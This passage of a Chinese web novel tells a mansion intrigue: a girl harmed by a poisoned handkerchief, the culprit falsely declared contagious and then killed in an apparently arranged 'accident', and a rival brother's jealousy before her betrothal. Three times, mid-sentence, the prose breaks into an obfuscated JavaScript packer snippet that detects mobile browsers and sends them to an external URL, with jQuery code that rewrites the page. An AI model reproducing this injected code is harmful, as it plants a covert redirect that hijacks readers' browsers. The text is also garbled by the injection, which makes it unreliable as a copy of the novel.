现在长大，这些上蹿下跳的把戏，演变成了他矫健灵活的身手，和才思敏捷的头脑。 风雪稍霁之后，城防营的卫兵终于穿过密林，找到了二人。 马车将白婳和明肆接回明府，侯夫人在门口望眼欲穿，见二人安然无恙下来，喜极而泣扑上去：“真人菩萨保佑，你们没事就好，可吓死为娘了。” 侯夫人一手拉一个，一起拍着，太激动，没注意把白婳的手就这么送进了明肆掌心里。 白婳有些尴尬，将手抽回来，又拍了拍侯夫人的肩膀：“幸得二公子神勇，方才得救。” 又问：“祖母和二夫人？” “都好，都好。”侯夫人抹把眼泪，“那些匪徒都被城防营收押了，侯爷要严审余孽。” 明肆冷嘲热讽：“他是该严审。光知道立功，不知道尾巴收拾干净，拖累全家人涉险。” 侯夫人嗔怪拍一下他的手背，扫一眼门口的下人们。 白婳颈子里的痒意一直没有消退，在外头还能忍着，这会回来，也没心思站在门口再闲话，只想快些去找叶大夫帮她瞧瞧。 侯夫人和明肆跟她一起去了药房。 没多久，叶大夫检查完，将二人叫去了里屋。 白婳的伤处已经敷了药，衣裳穿戴整齐。 侯夫人关切问：“如何？伤势可严重？” 叶大夫道：“白婳小姐脖颈上的红苔，和三公子脸上的是同一种病症。” “怎会如此？”侯夫人大惊失色。 明宴这一趟伤得相当严重。 他脸上脖子上起满了红苔，口腔喉咙里肿的不像样，现在只能以特定的角度躺靠着，稍有不慎便有窒息的风险。 这些都不算，他被匪徒吊在马后拖了一段，摔断了一条腿。 现在半条命还搭在鬼门关里抢救，伤了脸，看起来有些人不人鬼不鬼的。 而其中还有一桩相当棘手的事情。 明宴脸上的红苔，和一种烈性疫病的病症，非常相似。 这病最早自缅甸传来，前朝鸦片之祸时候就曾大面积泛滥过一次，传染性极强，须得严肃隔离。 这会儿他被单独安置在了一处厢房，屋里只留了两个丫鬟伺候。 “夫人别急，小人方才与白婳小姐已问清情况，她与三公子身上的，应当不是烈莓症。”叶大夫忙道。 侯夫人和明肆同时松一口气。 白婳的危机解除，侯夫人的神色才又再变了变。 她正想着要做主将那兔崽子挪去乡下庄子上静养，别好事不沾边，净得些害人的病，这一屋子老的小的，谁经得起烈莓折腾。 等了这么多年，终于等着这个机会，侯夫人舍不得放过。 叶大夫接着解释：“原本三公子身上的症状，咱们几个大夫一同会诊，也只是觉得疑似，未能确诊。但据白婳小姐所言，她是沾了三公子手绢上的粉末才导致的红苔，位置也能对应上，小人方才也检查过了，小姐其他地方的皮肤完好无损。” “问题应该是三公子的那块手帕上，一人发病无法判断，再加上白婳小姐的症状位置的话，咱们应当是已能排除烈莓症了。” 白婳眼神一动：“叶大夫。” 叶大夫看了看白婳，又看了眼侯夫人，有些拿不准主人家的心思。 现在三公子晕厥在床，无力给自己申辩。 即便能申辩，现下他发病是真，若无人力排众议作保，烈莓一旦传开非同小可，安全起见，都是该单独圈他一人送出去治病。 白婳看了眼侯夫人：“母亲，藏这种东西在身上，还要特意带去温泉山庄，他不怀好意。我伤在脖子，冬日里衣裳厚实，围脖一挡，外人根本瞧不出来。” “没错。”侯夫人这么多年可算逮着了机会，眼里都在放光，“叶大夫，老三就是患了烈莓症，要挪去城外庄子上静养，谁都不准探望。” 叶大夫道是。府宅里的弯弯绕绕，无须问太多。 终于能将撷芳院那对贱人母子拆开逐个击破，侯夫人想想就痛快。 这时候她忽然想起来屋里还有一人。 看一眼身边抱臂的明肆叮嘱道：“你在外面别多嘴，跟你不相干。万一有人问起你就说不知道，你自好好读书就是。你听见没有？” 那谨慎严肃的模样，仿佛还把二公子当小娃娃。 白婳有些忍俊不禁，压着唇角，避开视线。 明肆掀着眼皮睨了眼侯夫人。 那一眼一言难尽，也懒得再申辩，直接走了。 白婳前脚回到葳蕤院，没多久，大公子就来了。 阿吉将明疏的轮椅推进来，一边道：“听闻姑娘回来，公子去了药房，竟是错过了，扑个空。” “成序哥哥。”白婳看见他很高兴。 明疏鲜少离开清霜院，出门也几乎都是来葳蕤院寻白婳了。 他穿一身淡青色斗篷，同色的围领厚实，看起来暖和，也衬得肤色有些苍白。 明疏眼里有担心，“我都听说了，怎的如此凶险，可有受伤？” “我没事的，成序哥哥。”白婳叫海棠搬了个绣墩来，坐在明疏身边，细细将事情说了遍。 明疏听罢，沉默了半晌。 白婳握了他的手，捏了捏，“现下事情也算有了个了结，他不会再有机会兴风作浪了。” 明疏回握她的手，仍是不语，找海棠要了药膏：“我来吧。” 声音缓慢，白婳不知为何听出来几分落寞与无奈。 她一愣，去看明疏的神情。 还是那般温和，仿佛并无不同。 海棠将药递上。那药膏是叶大夫那开的，用来治疗白婳脖颈上的红苔。 白婳看了他一眼，背了过去，自然将头发拨到身前。 药膏清清凉凉，很好缓解了红苔的灼热。 白婳心中连日来所有的委屈憋闷，在这一刻全都化掉。 “我会从中盯着此事。”半晌后身后传来明疏的声音，在对她承诺，“确保三弟离开京城，不会再有转圜余地。” 翌日下午，白婳去药房找叶大夫复诊，却是意外听说，二公子伤寒发烧了。 “……怎的突然？”白婳一愣，明肆体格好，她总以为他好像从来都不会生病。 叶大夫道：“他们没叫请脉，小人自个儿猜的。也就昨下午，二公子身边的丁昭来拿了些药，我看拿的都是些清寒退热的，倒也对症。” 白婳忽然想起昨日那样天寒地冻，他为救她奔劳出了一身热汗，后来又在雪林里吹了那么久的冷风。 若里衣湿了再贴身冰凉着，铁打的人也要病倒。 说来说去，是因为她。 白婳哑然，不知道倒也罢了，知道了就不该装死，那是救命之恩。 她回到葳蕤院，叫小厨房做了些清淡的青菜瘦肉粥，又蒸了两个冬梨熬汤，一起带去了文华院。 丁昭见白婳登门已是稀奇，再看见她手上拎着食盒，表情霎时间就开始微妙，五官乱飞，看着有些贼眉鼠眼。 “你……”白婳看着他，想问是不是不舒服。 丁昭笑着打哈哈：“白婳小姐这边请，公子知道你来肯定高兴。” 丁昭一路小跑进去，随了他主子一样手长脚长，矫健灵动，像只猴子。 白婳本想问问他明肆的情况，也没顾得上。 原以为明肆在屋里休息，不成想他还在书房。 桌上堆了几本半开的古籍，几张写满的宣纸，字迹和他的人一般凌厉。 “听闻二公子伤寒？怎的没好好歇着，如此用功。”白婳视线从那块砚台上扫过，竟是用得已经快要见底了。 “不严重。”明肆说着一愣，也没料到就这么一下午，自己鼻音重成这样。 白婳失笑，觉得他某些时候又还像孩子。 “笑什么。”明肆似看到稀奇。 白婳摇头，将食盒放在桌上，问他：“药吃了吗？” “吃了。”明肆视线看过去，顺手将盒子打开，里面梨汤的甜香散发出来。 “怎的没请叶大夫号个脉？你自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694682|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓的药？”白婳又问。 “都是差不多的方子，用不着他。” 白婳发觉，明肆大约是爱吃甜的，对梨汤的兴趣明显比肉粥大，勺子都不用，就着瓷盅尝了口，甜，又再喝一口。 白婳一边看着他喝汤，“……二公子还会诊脉？” “皮毛不难。”明肆答得轻巧，“你自己煮的？” “啊……”白婳有些走神，点了个头。 有些人的时间，仿佛就比旁人的更经用些。 同样都是三年，有人满腹经纶文武兼修，有人就只是浑浑度日花天酒地，不过徒增年岁。 但勤勉是一方面，涉猎如此广泛，还需要一点就透的聪颖。 “很好喝。”明肆不吝夸奖，“顺带送的还是特意给我煮的？” 白婳：“……二公子是为救我，理当致谢。” “特意煮的。”明肆点头，忽略其他，听见了想听的。 白婳没反驳，仍是有些过意不去，“耽误了二公子温书。” 头昏脑胀，必定影响状态。 “读书本来也非一日之功。”明肆说。 白婳笑笑：“是，二公子根基扎实，功夫都在平时。” 明肆睨她一眼，心情相当好，“难得还能听见你有恭维我的时候。” “实话罢了。”白婳道。 从文华院离开后，白婳又去了趟老夫人的松涛院看望。 却是正好碰见明忠海也在此。 别的暂且不论，明忠海对母亲的孝顺是真。 此番审讯那些枉法余孽，他来向老夫人回禀结果。 “……母亲放心，同党已全部缴清，必不会再出现此等危险。” 白婳进来给二人问安，又一同坐下陪老夫人说了会话。 老夫人一年到头难得出门几次，此番若非他们设计，她也不会有这么一遭惊吓。白婳心里是有歉疚的，好在老夫人心宽，并未吓出什么好歹来，否则她罪孽深重。 “我准备在元佛寺为祖母请一盏佛灯，之前问过一心大师，宁安灯最适合祖母。”白婳闲话道。 老夫人多少信佛，拍拍白婳的手，“你有心了。” 丫鬟上了新茶，三人又再闲聊了些琐事。 白婳没向明忠海打听明晏的事情，他们之前闹过龃龉，她怎么问都不合适。 反倒明忠海自己先开了口。 “……此番老三也不知在哪沾了什么脏东西，许是那贼人身上带病。我与你母亲商议着，将他挪去城外庄子上休养一段时间，这两日便动身。” 他特意说出来，好像还在照顾白婳之前的情绪，有安抚她的意思。 白婳只淡笑：“姨娘怕舍不得吧。” 明忠海道：“她有什么舍不得，治病要紧，又不是以后不回来。” 说完会过味来，看白婳一眼。 这时候丫鬟来报，说柳姨娘派了人来，请侯爷晚上去撷芳院用饭。 明忠海当面就给回绝了：“改日吧，今日难得白婳也在，一道陪母亲吃个饭。” 这两日柳姨娘少不了哭啼，妇人之见总是短浅的，这种能传人的疫病，可不是闹着玩的，明忠海自军中来，更是知晓这些东西的厉害。 他这几日不会见柳姨娘。 翌日，薛芳漪递了帖子登门。 这次城郊劫匪的事情惊动了城防营，消息便不可能完全封锁住，外头多少传了些风言风语。 “……我听了消息便来了，你可有受伤？”薛芳漪握着她的手，满眼关切，“外头传的吓人，说什么还有匪徒劫车。怎么他们姓明的兄弟一个两个的都如此倒霉，沾上边都没什么好事。” 她颇有几分气急败坏，女子声誉何其重要，薛芳漪光听见什么劫车劫人几个字，都够胆战心惊的。 “我没事。”白婳安抚她，将前因后果一一与她说了。 包括桃花散，和明晏那块意味不明的丝帕。 白婳与薛芳漪自幼一起长大，几乎无话不谈。许多无法与侯夫人言明的心事，她与薛芳漪说。 “之前没告诉你是怕你担心，如今事情落定，明晏要被送出京城，想来应该不会有什么大变故。”白婳道。 薛芳漪气得手发抖。 她咬牙切齿：“他竟歹毒至此？怎么你们侯爷就如此惯得不成规矩？他若姓薛，请家法乱棍打死都算轻了！他们这些姓明的，一个两个都不是东西，怎的与大哥相差如此之大！” 白婳失笑：“此番得二公子相救及时，否则你都看不到我了。” 薛芳漪不做声，又再心疼瞧了她脖子上的伤。 红苔已经消退下去些许，颜色不似之前鲜艳，但仍然醒目。 薛芳漪黑眸沉沉：“他的惩罚，太轻。” 17. 喜事将近 白婳微微一叹：“也别无他法。他此番出去，身边人都是母亲选的，一两年内，应当不会让他轻易再回来。” 薛芳漪不知在想些什么，没再说话。 第二日清晨，下人们开始收拾准备三公子出行的衣裳和用度。 他人还迷迷糊糊，腿伤也严重，得用担架抬着挪动。 派去张罗的丫鬟小厮们用白巾遮着口鼻，神情严肃，动作利落，都是侯夫人叫人挑选的，签了死契的可靠之人。 这日飘了些小雪，天色灰灰沉沉的。 白婳穿了件湖蓝色的绒褙子，远远瞧着。 她似在出神，心中想了许多。 不多时，竟是有个丫鬟埋头往外去。白婳视线跟过去，蹙起眉头，叫海棠去将人拦住了。 “白婳小姐。”丫鬟还戴着白巾，慌慌张张对她行礼，“正好碰上您了，快拿个主意吧。三公子醒了，闹得厉害，摔了好多东西，说是他没得病，将奴婢们骂了出来，说他不走要见侯爷。” 海棠看了白婳一眼，对丫鬟训斥道：“糊涂东西，不知道现在临院不让出人吗？有什么闪失你这三两重的骨头赔罪得起吗？侯夫人叫你们给三公子挪地方，有叫你还跑出来传话？还不回去好好当差，再敢偷懒，饶不了你！” 那丫鬟本就不愿跑这一趟，若非三公子骂得凶，说什么耽误他的事吃罪不起。 经验老道的婆子早就看出高低，不理会他的威胁，唯这种年纪不大的丫头，才会诸多顾忌。 谁都是怕个万一。 正好，碰上白婳，给她骂了回去，免了下人难做。 “是是，奴婢知错。” 白婳这才道：“你也去告诉临院的人，差事办好了侯夫人有赏，办砸了就有罚，好好当差，别听些不相干的，砸了自己的脚。” 小丫鬟连声应是，扭头又跑回去了。 明晏的腿脚不便，无人传话便翻不起什么浪来。 他喉咙本就肿着，闹一通已是极限，一点精气神都耗没了，就被粗壮的婆子抬上了担架。 马车悄无声息从角门出去了。 明晏还发着烧，脑子有些昏昏沉沉的，恍惚间好像看见了秋白婳在树下看他热闹。 “你给我等着。”明晏心想。 但他太累了，撑不了多久就又昏昏沉沉假寐过去。 何祝给他的药很烈，原本沾在手帕上，即便是隔着衣物扫到，都会痛痒难忍，状如烈莓。 这症状能撑上整整七日，才会消退。 白婳颈子上的那些及时用凉水冲洗，后头又上了药，也仍然狰狞一片，更别说他当时那般狠狠吸进去了一大口。 捡回条命都算不错了。 “自从明老二回来，我一直在倒霉。他真是个煞星。”明晏浑浑噩噩想着。 他与正房那两个胞兄，打小就没什么感情可言。 尤其明老二，眼睛长在头顶上，看谁都好象低他一等。明晏最瞧不上的就是他那不可一世的臭德行。 马车应该是已经离开了城门，外头街道上的喧嚷声逐渐消失了。 明晏不担心自己的喉咙和脸，等药效过了，这些都会消退的。 但他太害怕自己的腿落下残疾。明疏这么多年一蹶不振，明晏不想像他一样成了个废人。 他艰难的试图挪动一下腿脚，但不止没力气，还一阵钻心的疼。 等他脸上的疹子退了，他就回侯府，要请全京城最好的大夫给他医治，要请宫里的太医。 就在这时，马车外忽然传来一阵惊叫声。 车夫和丫鬟像是受了什么惊吓，明晏睁开眼，察觉外头的人好像都跑了。他觉得有些奇怪，但还来不及出声询问，上方一个聚物轰然砸下。 马车摧枯拉朽，崩塌只在瞬间。 那是一棵双人环抱的高耸大树，砸出了无数烟尘弥漫。 小山坡上，不起眼的老者目睹全过程，回头往马车上去复命。 “小姐，办妥了，车毁人亡，没有生还可能。” “咎由自取。辛苦你了，陶伯。” 另一处树下，明肆骑在马上，远远眺望城防营卫兵被这动静引过去善后，又深深看了眼小坡后那缓缓离去的马车。 是意外，还是被人捷足先登？ 明肆眯起眼，散漫往前去了些。 他与那辆马车擦肩而过。 冬日的车帘厚重，那车走得又慢，帘角露出的点点光景只能瞧见里头昏暗，辨不清坐了谁。 明肆在边上立马，视线淡淡落在车身上。 极其普通的一架红漆车，前头没坠官旗，赶车的是个老头。 马车却在他身边停下了，一只手将车帘撩开，是薛芳漪端坐在里头，跟他打了个招呼：“明二公子。” 明肆眉梢微微一动。 “薛小姐。这么巧？” 薛芳漪笑笑：“不巧，回城必经路，时有碰上熟人。” 二人在书学时候曾是同窗，又都与白婳关系密切。 却从小就相看两厌。 明肆以为她不会专程停下与他打招呼。 二人视线隔空对望片刻，某种意味不明的较量在其中蔓延，谁都没再说话。然后薛芳漪放下车帘，马车缓缓离去。 明晏的死讯很快传回了侯府中。 白婳吃了一惊：“竟有这事？” 海棠道：“是，城防营刚刚把人送回来，听前院的护卫说，都砸得不成人形了。姑娘，老天开眼，他恶人有恶报。” 白婳心中也这么想，但又隐约觉得太蹊跷。 “出城的路走了那么多次，怎的好端端的会砸死人？”她问。 “好像是城门口那片白杨林，前几日风雪太大，树干承不住。以往也不是没有发生过，只是这回恰好砸到了人。那条路不是很宽敞，雪地又打滑，马车才闪避不及。”海棠道。 白婳：“可有砸伤其他人？” 海棠摇头：“没有，其他仆从没坐马车。车夫都快吓死了，还有跟车的丫鬟，两人都病倒了。” 只是真病还是装病尚未可知，毕竟当时二人只顾自己逃命，砸死了车里的主子，也怕被怪罪。受点伤、一病不起是最明智的。 白婳微有思索，还是换了身衣裳，想往侯夫人那去再探探情况。 刚一出门，就在垂花门碰见了外头回来的明肆。 他穿一身轻便骑装，墨色的狐毛领，浑身写着年轻气盛，迈着长腿三两步从楼梯下来，与白婳对了个视线。 “……”白婳顿住脚步，忽而间，一种没由来的念头涌上心来。 她冲他浅浅行礼，“……二公子刚回？” 明肆神色如常，点头：“去吃了燕世子几盏酒。这是要上哪去？” 白婳压下心头种种猜测，“我去母亲那看看。” “去吧。我回屋换身衣裳。”明肆道。 白婳颔首，二人便各自往前去了。 有些事，没必要追问。 明晏过世的第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694683|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日，尸首入殓。 棺椁停在了撷芳院正厅，柳姨娘哭成了泪人，从明晏受伤开始，到现在不过五六日，她整个人都消瘦了好一圈。 到底是家里走了人，面子上要过去的，白婳去上了一炷香。 她在灵前看见了明忠海，看起来颇为伤神的模样。 京城里已经传遍，清远候明忠海清剿鸦片之祸，遭贼人报复，痛失爱子。 虽然事实有所偏差，但他此前已有声望，此时再这么一渲染，别说百姓，不少官眷都信之不疑。 白婳不知这事是他自己借题发挥操作，还是其他人卖了人情帮着推波助澜。 总之明忠海的官声从未如此好过。 从撷芳院出来后，白婳去了侯夫人那。 “……我也正准备这两日去你那的。”侯夫人拍了拍她的手，母女俩在偏厅临窗的小几边坐下。 侯夫人叫丫鬟上了茶来。明晏的死，明忠海或许还有几分真情实感的父子之情流露，侯夫人是一点神伤都瞧不见的。 还是看在面子上，她才装了几日端肃，没把笑脸挂明面上。 侯夫人道：“钦天监帮忙择了两个黄道吉日，一个是二月初二，再就是五月初八。原本我与侯爷商量着宜早不宜迟，都快说定了，要按二月二准备着，结果出了这档子事。” 侯夫人说的是白婳和明疏的订婚宴。 汴京城里的嫁娶习俗，王公贵胄都是要先择好日子下聘订亲，还要去官府备案。 且与大婚中间的时日，至少得相隔三个月，才算门户双方重视这门亲事，大吉大利。 高门的红喜事若是急匆匆的，会叫人看不起，说闲话。 “虽然老三只是庶出，但咱们家毕竟男丁不多，不像那些庶子女成群的门户。而且此番他的死跟侯爷剿匪掺和在一起，百姓们多少双眼睛盯着，这个时候办喜事，怕落人口舌。”侯夫人说，“思来想去，也只好再等上一等，等五月初八的好日子。” 别说百姓的口舌，小儿子死了一个多月，家里就要办亲事，明忠海也会不答应。 “母亲拿主意就好。”白婳点头，心里有期待，又安抚道：“无妨的，好事多磨。” 回到葳蕤院，白婳心里还在高兴着。 从她八岁进明府开始，就知道自己日后是要嫁给明疏的。 那时候的明疏，皎洁似天上明月，可谓陌上人如玉，公子世无双。 待她如珍如宝。 尽管大公子这些年变了性情，尽管他曾说再等等，叫白婳有机会再看看旁人。 到了今时今日，白婳心中，仍是悸动大过了所有的忐忑。 她进了门，却发现明肆在院中等她。 “什么好事，偷着笑。”明肆回头看她，将白婳还未收回的笑意也尽收眼底。 他难得穿一身大氅，身高优势完全展露，侧脸的眉峰与鼻梁角度绝佳，微微一挑眉梢，言语间透出熟稔的感觉。 诚然，这些日子的事情下来，他与白婳之间那股处处提防的壁垒好像削弱了许多。 就连海棠和葳蕤院的下人们，对他登门的反应都热情许多。 明肆心里有数。 他眼里好像总有促狭的光，白婳被他看得眼神一闪，下意识觉得这事还是先别叫二公子知道，多一事不如少一事。 “没有啊。”她不去看他，若无其事问，“二公子找我有事？” 明肆微微眯起眼。 “支支吾吾的，什么事瞒我。” 18. 躲着二公子 白婳一时语塞，心想他们之间委实谈不上瞒不瞒，说得好像事事都互通有无般亲密。 前两次的事情或许是削弱了些防备心，但白婳不想叫他生出些不该有的期待。 她只笑了笑，“二公子找我什么事。” 明肆哪有什么要紧事，无非是借口见见她，现下被追问缘由，倒还真想起一桩事。 “之前老三干的那些事，你可有同薛芳漪讲过？” 这些都是明府内宅的事情，薛芳漪与明晏八竿子搭不到一处，若真要说有什么过节，也只可能是替白婳出头。 但明肆原本也只是猜测，并无实证。 白婳一愣，“怎的忽然问这个。” 明肆了然，“那就是说过了。” “……我与芳漪，情同姐妹。她知晓轻重，不会外传的。”白婳道。 明肆黑眸沉沉的，只是笑笑，颇有几分意味深长：“她心思比你重，防人之心不可无。” 白婳有些不明所以，但明肆没再多解释。 除夕这日，所有命妇按例入宫去给皇后娘娘请安。 侯夫人乃一品诰命夫人，大清早就梳洗打扮进宫去了，过了午后回来，还带回了许多赏赐。 明忠海前些日子立功，皇后体察圣意，自是优待侯夫人。 “其他赏赐都清点入库吧，把烟花拿出来，晚上松涛院吃席守岁，明毓明婉那几个孩子肯定喜欢。”侯夫人如是吩咐着。 民间也有卖烟花爆竹的作坊，侯府也采办了些，但颜色和做工自然都没法和宫里的东西相比。 傍晚时分，宫里的赏菜到了，明忠海带着侯夫人、二老爷二夫人、明肆与白婳，所有排得上号的全都叫了出来，一同接旨。 皇帝赏了侯府四道菜，比往年多少一倍。 明忠海喜不自胜，给传旨公公递了赏钱后，公公尖细的嗓子道谢后又奉承了几句，才道：“咱家还要赶着去尚书府，就不打搅侯爷一家团聚了。” 赐菜之后，侯府落锁，一派其乐融融，外头的花炮声同时响起。 白婳看着这一切，心想，明晏死在了汴京城最热闹的时候。 就连明忠海都没有沉浸在白发人送黑发人的哀伤中。在这爆竹声声中，约莫只有撷芳院中的柳姨娘一个人在心如刀绞。 但白婳不同情她。 她早就出言警醒过，她的儿子再不管束，祸事不止一桩。 若没有那群意外的匪徒，明晏藏的那条丝帕，能扮出烈莓的症状，现在这热闹新岁中要独自在郊外庄子苟活的就是白婳了。 况且之所以会有那帮匪徒报复，归根结底也还是因为他去与那些法外之徒招惹鬼混。 落得如此下场，他咎由自取。 白婳缓缓透出一口气，又想到了她与明疏的婚事。 这些腌臜烦心的一切，都已经结束在旧岁中。 新岁，她会嫁给明疏，做他的妻。 初一开始，天色放晴，出了太阳。 初一清晨要往元佛寺，为先祖请香。 白婳晨起梳洗，早早就去了清霜院。明疏一年中离府出门的日子不多，初一便算一个。 元佛寺是国寺，供了许多皇亲贵胄的牌位，寺外种了大片红梅，被落雪覆盖着，与院墙的明黄相呼应。 明疏出行多有不便，阿吉同车夫将轮椅抬下马车，再将大公子背了下来。 他们的马车停在院墙角下，离人较远，做完这些，阿吉才推着轮椅，再回到门口，与其他人汇合。 元佛寺依山而建，进了寺庙里也有台阶，明疏行动不便，每年请香，他都是在门口上柱香，然后从小路往一心大师的禅房去听法，不跟侯夫人他们进正殿。 劳顿而来，尽的是心意。 白婳和侯夫人一同去进香，在每个牌位前都替明疏多拜三拜。 明肆看在眼中，神情寡淡到极致。 侯夫人说他：“大年初一挂着张脸，给菩萨看？” “这么多人，菩萨看得见谁。”明肆道。 小半个时辰之后，正事了了，侯夫人和二夫人去斋坊喝茶，白婳便准备往去禅房找大公子。 山间小路走到一半，忽而被身后叫下：“去哪？” 白婳回头，见明肆站在石阶下方。他上来几步，与她相隔不过两步台阶。 此处林叶茂盛，还盖了雪，天光被割散成斑驳的影子，落在二人脸上。 明肆的神色仍是淡淡，不知是此情此景使然，还是他的五官轮廓过于凌厉。即便白婳身位高于他，也还是有种压迫感。 他不高兴。 这个念头盘旋在白婳心头。恍惚间，她觉得时间好像倒退回了二公子刚刚回京的时候，那股紧张的防备感又出现了。 “二公子没去喝茶？”白婳定了定心神，往后退了一级台阶。 明肆看她一眼，又看一眼山路上方，“这是往哪去？上面都是禅房。” “是，成序哥哥在一心大师那听法。”白婳觉得这地方这气氛委实有些怪异，就想告辞，“二公子可四处转转，我先失陪了。” “他听他的，你对佛法又不感兴趣，跟去做什么。”明肆心中那股烦闷的情绪愈来愈盛。 连侯夫人都没替明疏拜菩萨，她倒好，还未订亲，便这般带入身份。 白婳莫名被他噎了一句，也不想再多言什么，转身走了。 好死不死，稍不留神竟被雪滑了一脚。 白婳发出一声短促的惊呼，其实靠自己也能站住，但明肆反应快，握住她的臂弯扶了一把。 “多谢二公子。”白婳受了惊吓多少有些心跳加速，想收回胳膊，但明肆竟没放手。 他眸色半明半暗，意味不明盯着她。 “二弟。” 突兀的一声，二人双双往上看去，台阶上方，明疏坐在轮椅上，眸色温和看着他们。 白婳赶紧挣扎两下脱开了明肆的手，径直去了明疏身边。 她低着头，心跳比方才还要快上两分，“怎的出来了，我正要去寻你呢。” 白婳是一百个不愿意让明疏觉得二公子对她余情未了。 他们到底是手足，白婳不想给明疏带来丝毫的顾虑。 结果前些日子避了那么久相安无事，就这么一回拉拉扯扯，就叫明疏给撞见了。 “大师今日不得闲。”明疏轻轻一笑，对下面的明肆道：“我们去看看素斋，二弟可要同行？” “不去。”明肆面无表情，看了眼白婳，才跟明疏对上视线。 白婳从小就这样，有明疏出现的地方，她就像个跟屁虫，永远站他旁边。 以前下了书学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694684|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她要往清霜院去，明肆明里暗里拦她多少回。用别的事转移她注意力也好，也用过不少捉弄人的损招。 但时至今日，也没能改变白婳这个习惯。 明肆收回思绪：“失陪。” 明疏仍是笑得温和：“二弟自便。” 这个不省心的弟弟走后，明疏和白婳也不赶时间，慢慢往素斋膳房那散步而去。 “方才是在聊些什么？”明疏难得主动问她。 他是担心明肆为难白婳。 白婳摇头：“我滑了一跤，二公子才扶了把。此番二公子回京，性子和之前变化不少，没那么孩子气。” 明疏只笑笑，似并不认同。 半晌后才道：“他也该到懂事的时候了。过了春闱，考取功名傍身，也到了说亲的年纪。” 只是要给明二公子说亲，恐怕不是件容易的事情。 “我这二弟看着不苟言笑，貌似沉稳。但内里仍是少年人心性不定，有时也容易被自己气血上头给骗了。”明疏淡淡一叹。 他能看出，明肆对白婳，并未死心。 三年的外放沉淀，并没能磨掉少年心里那股子上头的热血。 他是真心还是冲动、自尊心作祟，都暂且不论；但有一点明确，白婳对他是全无旖念。 两桩婚事，届时只怕有得闹。 那日元佛寺之后，白婳意识到她与二公子之间的关系恐怕需要收收缰。 尽管她并无心思，身正不怕影斜，但确实之前那些事情，无形将二人的距离拉近了些。她约束不了明肆的想法。 恩情归恩情，来日方长，若明肆有需要帮扶之处，她定当全力以赴。 但恩情与其他不能混为一谈，拖泥带水只会害了三个人都陷在泥淖中，搅合不清。 是以那日之后，白婳外出会刻意避着些明肆，也同葳蕤院的人说，往后要是二公子那边来人，就说她不在。 于是乎，明肆连着有一个多月没见上白婳的面。 二月初，冬雪化尽。 侯夫人吩咐公中清点了库房的绸缎丝帛料子，让各院的主子们都去挑挑花色，好裁制春衫。 这种时候消息传得越早，去的越早，自然好料子挑选的余地就大，侯夫人排的顺序，总是让第一个叫白婳去。 桌上铺了几十匹绸子，白婳看下来，选了两匹素净些的颜色，将明毓明婉姐妹俩喜欢的藕粉缎子留给了她们。 海棠往门外看了眼，凑近小声道：“姑娘，好像是二公子来了。” 白婳一愣。 这种选缎子做春衫的事情一般都是姑娘家才会特意来挑，她记得以前二公子还在府里的时候，也都只是院里的大丫鬟来操持。 正好也看完了，她带着海棠加快步伐走了。 但中库只有一道门，进出一定会碰上。 明肆老远就看见她了，视线一直没转开，迈着长腿上前去。 到了跟前，还没开口，白婳便浅浅颔首：“二公子。” ——从头到尾都垂着眸子没看他不说，竟是一个招呼就直接走了。 明肆本就寡淡的神色此刻显得有些僵硬。 好半天他才能慢慢透出一口气来，接受不了她这惟恐避之不及的模样。 明肆不语，只回头看她的背影，脸色黑得吓人。 19. 马球场 夜半，春雷响彻汴京城，细细密密的一场春雨，青草都冒出尖芽。 善柔长公主在京郊办了场马球会，给清远侯府下了帖子，请侯夫人带着孩子们一同凑凑热闹。 订婚在即，侯夫人有意带白婳多去人前转转，这种贵胄云集的场合再合适不过。 二房的大姑娘过了年也有十四，也可带上，看看有没有合适的郎君。 白婳同侯夫人坐在一处听她说着，想了想，还是打听道：“母亲，二公子那边……” 侯夫人闻言有些诧异：“我正想说，要不要带他一道出去见见人，毕竟回来后，还没有一个正式的场合。你们这是？” 在侯夫人印象里，之前有段时间也经常瞧见二人相处融洽的时候，初一进香一同出行也未见什么不妥。 最初明肆回京的时候侯夫人几乎是草木皆兵，这般相安无事过了几个月，她的警戒心就弱了下来。 侯夫人的模样看着有些不易察觉的紧张，白婳看在眼里。 她作为母亲，自然是希望儿女和睦。 白婳笑笑：“没有，只是问问。想着二公子可能要温书，春闱在即。” 侯夫人松了口气，随之点头：“是，也要问问他的意见，自是以科考为先，有了功名，还愁没有好时机露脸。” 那日公中库房一面之后，明肆就没再去过葳蕤院找她。 白婳觉得，他这次应该也不会去马球会。 一则确实春闱时日无多，他原本就和汴京中那些勋爵子弟也不算相熟，若无燕世子相伴，何必去这个节骨眼去凑这热闹。 二则，二公子着实是个骄傲的人，她躲得太明显。 白婳这般猜想着。 